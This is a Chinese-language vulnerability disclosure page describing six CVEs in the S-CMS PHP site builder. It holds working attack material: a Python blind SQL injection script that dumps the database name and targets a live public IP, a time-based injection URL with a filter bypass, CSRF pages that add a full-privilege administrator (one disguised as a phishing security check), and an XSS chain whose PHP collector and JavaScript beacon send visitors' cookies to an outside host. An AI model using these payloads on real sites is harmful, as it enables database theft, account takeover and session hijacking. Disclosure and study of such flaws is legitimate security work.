CVE中文申请站

CVE-2019-12860:S-CMS PHP v3.0存在SQL注入漏洞

一、漏洞摘要

漏洞名称: S-CMS PHP v3.0存在SQL注入漏洞
上报日期: 2019-05-31
漏洞发现者: zhhhy
产品首页: https://www.s-cms.cn/download.html?code=php
软件链接: https://www.s-cms.cn/download.html?code=php
版本: PHP v3.0
CVE编号: CVE-2019-12860


二、漏洞概述

漏洞代码位置:/js/scms.php 第182-204行

1.png
代码分析:
在第83行处,变量$pageid接受使用POST方式传递的pageid的值。而在第87行和第95行处,变量$pageid被直接拼接进SQL语句之中,从而产生注入。而由于是数字型注入,避免使用单引号等符号以至于绕过了防御。
构造如下数据包 ,如图所示。
2.png
可以看到数据包回显了20151019102732946.jpg。
而构造错误的数据包如下
3.png
会发现错误的数据包不会回显20151019102732946.jpg。由此可以判断这是一个布尔型注入。

三、利用方法

构造如下poc.py

POC代码如下:
import requests
import urllib.parse

chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_0123456789'

url='http://106.14.144.32:2000/js/scms.php'

def getDatabaseLength():
    print('开始爆破数据库长度。。。')
    for i in range(10):
        payload="1%0Aand%0Aif(length(database())>{},1,0)#".format(i)
        payload=urllib.parse.unquote(payload)
        data = {
            'action':'jssdk',
            'pagetype':'text',
            'pageid':payload
        }
        # print(data)
        # data = urllib.parse.unquote(data)
        # print(data)
        rs = requests.post(url=url,data=data)
        rs.encode='utf-8'
        # print(rs.text)
        if "20151019102732946.jpg" not in rs.text:
            print("数据库名的长度为:{}".format(i))
            return i

def getDatabaseName():
    print('开始获取数据库名')
    databasename = ''

    length = getDatabaseLength()
    # length = 4
    for i in range(1,length+1):
        for c in chars:
            payload='1%0Aand%0Aif(ascii(substr(database(),{},1))={},1,0)#'.format(i,ord(c))
            # print(payload)
            payload = urllib.parse.unquote(payload)
            data = {
                'action': 'jssdk',
                'pagetype': 'text',
                'pageid': payload
            }
            rs = requests.post(url=url, data=data)
            rs.encode = 'utf-8'
            # print(rs.text)
            if "20151019102732946.jpg" in rs.text:
                databasename = databasename+c
                print(databasename)

    return databasename
getDatabaseName()


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/254/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12860
exploit-db:发布中

CVE-2019-10708:S-CMS PHP v1.0存在SQL注入漏洞

一、漏洞摘要

漏洞名称: S-CMS PHP v1.0存在SQL注入漏洞
上报日期: 2019-04-01
漏洞发现者: cuokon
产品首页: https://www.s-cms.cn/download.html?code=php
软件链接: https://www.s-cms.cn/download.html?code=php
版本: PHP v1.0
CVE编号: CVE-2019-10708


二、漏洞概述

在js目录下的scms.php存在sql盲注
漏洞源码
1.png
这里接受了一个id的参数,在其他地方都有把typeid转换为数字,可是这里没有转换而是直接截取了字符串然后放到sql语句执行,虽然这里有字符串拼接的时候加了个unlike在进行判断,可是并不影响,因为通过fuzz可以直接报出来!这里也有对空格单引号和双引号进行过滤,但是这里是数字类型的sql语句所以不需要双引号的闭合。
因为这里过滤掉了空格(%20),把%20改为%09即可绕过。

三、利用代码

Payload为:

http://127.0.0.1/cms/4/js/scms.php?action=unlike&id=t1%09and%09sleep(15)&timestamp=10000000000000000&key=830330726b002ca3514de00392105c92

2.png
3.png
可以看到我设置了延迟了15秒请求时间为15.05s,然后我在猜测一下他数据库的第一个字母s的ascii码是115,然后通过时间看到了是5.02秒和我设置设置的延迟时间差不多,所以判断存在sql盲注。

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/185/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10708
exploit-db:发布中

CVE-2019-10237:S-CMS学校建站系统PHP版V1.0存在CSRF漏洞

一、漏洞摘要

漏洞名称: S-CMS学校建站系统PHP版V1.0存在CSRF漏洞
上报日期: 2019-03-22
漏洞发现者: Liu Ze Yan , Wang Chi Heng ,Yu Fen , Xie Chao Qi
产品首页: https://www.s-cms.cn/download.html?code=php
软件链接: https://www.s-cms.cn/download.html?code=php
版本: PHP v1.0
CVE编号: CVE-2019-10237


二、漏洞概述

正常情况下,顶级管理员在登录后,可以进入到【账号管理】中,进行添加管理员
1.png
2.png
上面是正常的界面管理员添加界面。填写好相关数据后,管理员正常进行添加。然后我们看看抓取到的数据。
3.png
下图为顶级管理员添加的请求包:
可以看到,请求头中记录了关于URL,请求方法,以及表单值等重要的信息,并且是明文显示。
4.png
5.png

这就给攻击者制造了CSRF欺骗的条件,我们可以根据根据这些值进行html页面伪造,并且诱骗网站管理员进行点击,从而达到添加属于新管理员的目的

三、利用代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Your account is at risk of being stolen.  Please change your password as soon as possible.</title>
</head>
  <body style="background-color:PowderBlue;">
               <h1>Your account is at risk of being stolen. </h1>
               <p style="font-family:verdana;color:red">Please change your password as soon as possible.</p>
               <p style="font-family:times;color:green">This product provides a key maintenance system.</p>

               <p style="font-size:30px">Please click the button below to check account security.</p>             
<form action="http://192.168.43.89/4.edu.php/admin/ajax.php?type=admin&action=add&lang=0" method="POST" id="transfer" name="transfer">
       <input type="hidden" name="A_login" value="admin2">
      <input type="hidden" name="A_pwd" value="123456">
      <input type="hidden" name="A_type" value="admin">
      <input type="hidden" name="A_a0" value="1">
             <input type="hidden" name="A_a1" value="1">
             <input type="hidden" name="A_a2" value="1">
             <input type="hidden" name="A_a3" value="1">
             <input type="hidden" name="A_a4" value="1">
             <input type="hidden" name="A_a5" value="1">
             <input type="hidden" name="A_a6" value="1">
             <input type="hidden" name="A_a8" value="1">
             <input type="hidden" name="A_a10" value="1">
             <input type="hidden" name="A_a7" value="1">
             <input type="hidden" name="A_a9" value="1">
             <input type="hidden" name="A_a11" value="1">
             <input type="hidden" name="A_textauth[]" value="13">
             <input type="hidden" name="A_textauth[]" value="13">
             <input type="hidden" name="A_textauth[]" value="14">
             <input type="hidden" name="A_textauth[]" value="2">
             <input type="hidden" name="A_textauth[]" value="1">
             <input type="hidden" name="A_textauth[]" value="all">
             <input type="hidden" name="A_newsauth[]" value="7">
             <input type="hidden" name="A_newsauth[]" value="1">
             <input type="hidden" name="A_newsauth[]" value="108">
             <input type="hidden" name="A_newsauth[]" value="104">
             <input type="hidden" name="A_newsauth[]" value="113">
             <input type="hidden" name="A_newsauth[]" value="112">
             <input type="hidden" name="A_newsauth[]" value="109">
             <input type="hidden" name="A_newsauth[]" value="106">
             <input type="hidden" name="A_newsauth[]" value="105">
             <input type="hidden" name="A_newsauth[]" value="110">
             <input type="hidden" name="A_newsauth[]" value="all">
             <input type="hidden" name="A_productauth[]" value="8">
             <input type="hidden" name="A_productauth[]" value="7">
             <input type="hidden" name="A_productauth[]" value="4">
             <input type="hidden" name="A_productauth[]" value="3">
             <input type="hidden" name="A_productauth[]" value="2">
             <input type="hidden" name="A_productauth[]" value="all">
             <input type="hidden" name="A_formauth[]" value="9">
             <input type="hidden" name="A_formauth[]" value="8">
             <input type="hidden" name="A_formauth[]" value="7">
             <input type="hidden" name="A_formauth[]" value="all">
             <input type="hidden" name="A_bbsauth[]" value="1">
             <input type="hidden" name="A_bbsauth[]" value="all">
<button type="submit" value="Submit">Click to enter the security check</button>
      </form>
  </body>
</html>

这是构造好的页面效果
6.png
已经登录的管理员点击按钮后就会触发添加账户和修改账户权限的操作。
7.png
后台可以看到已经被添加了一个admin账户并且拥有了所有权限
8.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/172/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10237
exploit-db:发布中

CVE-2019-9925:S-CMS学校建站系统PHP版V1.0多处反射型XSS

一、漏洞摘要

漏洞名称: S-CMS学校建站系统PHP版V1.0多处反射型XSS
上报日期: 2019-03-21
漏洞发现者: Liu Ze Yan
产品首页: https://www.s-cms.cn/download.html?code=php
软件链接: https://www.s-cms.cn/download.html?code=php
版本: PHP v1.0
CVE编号: CVE-2019-9925


二、漏洞概述

以下目录均有参数可以进行反射性xss攻击
1.png

原因在于输入参数的地方没有进行因该有的过滤
2.png
3.png
4.png

因此我们可以构造简单的测试payload
5.png
可以看到已经能够执行了xss语句

三、利用代码

首先编写收集用的代码

<?php 
$cookie = $_GET['q']; 
var_dump($cookie); 
$myFile = "cookie.txt"; 
file_put_contents($myFile, $cookie); 
?> 

接着写发送请求的hacker.js,代码如下:

var img = new Image();
img.src = "http://127.0.0.1/hack.php?q="+document.cookie;
document.body.append(img);

在这里做的是本地测试,所以使用127.0.0.1的ip

模拟欺骗链接

<a href=" http://localhost/4.edu.php/?S_id=%3Cscript+
src%3Dhttp%3A%2F%2Fhacker.qq.com%2Fhacker.js%3E%3C%2Fscript%3E&commend=
all&ssid=s5-e&search_type=item&atype=&filterFineness=&rr=
1&pcat=food2011&style=grid&cat=">点击就送998</a>

当已登录用户点击之后,则可以实现在服务器上获取其登录cookies,甚至用户名密码。
6.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/163/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9925
exploit-db:发布中

CVE-2019-9040: S-CMS企业建站系统PHP版v3.0后台存在CSRF可添加管理员权限账号

一、漏洞摘要

漏洞名称: S-CMS企业建站系统PHP版v3.0后台存在CSRF可添加管理员权限账号
上报日期: 2019-02-22
漏洞发现者: qn(137535957@qq.cn)
产品首页: https://www.s-cms.cn
软件链接: https://www.s-cms.cn
版本: PHP v3.0
CVE编号: CVE-2019-9040


二、漏洞概述

恶意攻击者可以精心伪造一个html页面诱骗已登录的管理用户点击,从而更改管理员账户密码。

三、利用代码

exp代码如下:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/1.com.php/admin/ajax.php?type=admin&action=add&lang=0" method="POST">
      <input type="hidden" name="A&#95;login" value="test1" />
      <input type="hidden" name="A&#95;pwd" value="test1" />
      <input type="hidden" name="A&#95;type" value="1" />
      <input type="hidden" name="A&#95;a0" value="1" />
      <input type="hidden" name="A&#95;a1" value="1" />
      <input type="hidden" name="A&#95;a2" value="1" />
      <input type="hidden" name="A&#95;a3" value="1" />
      <input type="hidden" name="A&#95;a4" value="1" />
      <input type="hidden" name="A&#95;a5" value="1" />
      <input type="hidden" name="A&#95;a6" value="1" />
      <input type="hidden" name="A&#95;a8" value="1" />
      <input type="hidden" name="A&#95;a10" value="1" />
      <input type="hidden" name="A&#95;a7" value="1" />
      <input type="hidden" name="A&#95;a9" value="1" />
      <input type="hidden" name="A&#95;a11" value="1" />
      <input type="hidden" name="A&#95;textauth&#91;&#93;" value="all" />
      <input type="hidden" name="A&#95;productauth&#91;&#93;" value="all" />
      <input type="hidden" name="A&#95;bbsauth&#91;&#93;" value="all" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/113/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9040
exploit-db:发布中

CVE-2018-18887:s-cms php ver 1.0新闻建站系统用户投稿处存在sql注入

一、漏洞摘要

漏洞名称: s-cms php ver 1.0新闻建站系统用户投稿处存在sql注入
上报日期: 2018-10-27
漏洞发现者: kr1sten
产品首页: https://www.s-cms.cn/
软件链接: https://shanlingtest.oss-cn-shenzhen.aliyuncs.com/file/6.news.php.zip
版本: php ver 1.0
CVE编号: CVE-2018-18887


二、漏洞概述

开启前台注册后,投稿发文章type参数存在SQL注入。


三、利用方法

漏洞存在位置:member/member_news.php
1.png
在8-11行 定义了一个变量去接受外部传参 变量名“$N_type”在本文件下搜索这个变量名逐个跟踪分析
2.png
这一段代码 是通过传来的参数进行判断文章是否通过审核,不理会 继续跟踪
3.png
87-93行 是将数据判断后显示在页面 继续跟踪
4.png
114行sql语句这里就有问题了,他是将变量拼接进入语句里 可控 我在115行将sql语句输出 看看页面是怎么样的
5.png
这是文章页面
6.png
然后 输入 and 1=1 和 and 1=2 看下页面的变化情况
7.png
可以看到 直接将用户输入的数据直接给拼接到sql语句了 直接去带入数据执行
下图是 and 1=2时的结果,两个图做一下对比 ,很明显的 下面的数据没有显示出来 也就是说明 这个地方是存在sql注入的
8.png
接下来 使用sqlmap 跑一下,此处要注意:必须要抓包进行post注入 不然没有cookie参数 sqlmap是无法进行注入的,看下图:
9.png
成功跑出数据库


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/75/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-18887
exploit-db:发布中